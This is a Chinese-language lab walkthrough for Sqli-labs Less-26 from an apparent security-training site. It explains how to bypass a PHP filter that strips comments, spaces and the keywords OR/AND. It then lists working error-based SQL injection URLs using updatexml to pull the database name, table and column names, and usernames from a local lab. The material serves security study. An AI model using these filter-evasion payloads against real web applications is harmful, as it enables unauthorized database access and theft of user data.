SQL注入:当注释符被过滤时如何逃逸单引号/双引号

Sqli-labs:less-26
学习到:
*当注释符被过滤的时候你还可以怎样逃逸单引号/双引号
!在句尾使用and ‘1’=’1 去闭合最后的单引号或者是:||’1’=’1
*当空格被过滤时你应该怎么做
!可以使用()来代替空格或者是%a0 /**/ %0a ` 双空格

过滤代码如下:

	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes

于是构造了payload:

http://127.0.0.1/sql/Less-26/?id=1'oorr(updatexml(1,concat(0x7e,(select(databse()))),0x7e))anandd'1'='1

 

//报错注入

http://127.0.0.1/sql/Less-26/?id=1'oorr(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),0x7e))anandd'1'='1

 

http://127.0.0.1/sql/Less-26/?id=1'oorr(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users'))),0x7e))anandd'1'='1

 

http://127.0.0.1/sql/Less-26/?id=1'oorr(updatexml(1,concat(0x7e,(select(group_concat(username))from(security.users))),0x7e))anandd'1'='1

 

Tips:鼠标经过代码时会出现工具栏,工具栏上方有一键复制代码的功能哦~天云网络培训,专注于网络空间安全相关培训,并提供相关课程的在线培训 报名微信 tyedu1
天云网络培训 » SQL注入:当注释符被过滤时如何逃逸单引号/双引号

提供专业、易懂、平民化教育。让每个热爱网络的人有个归宿

立即查看 了解详情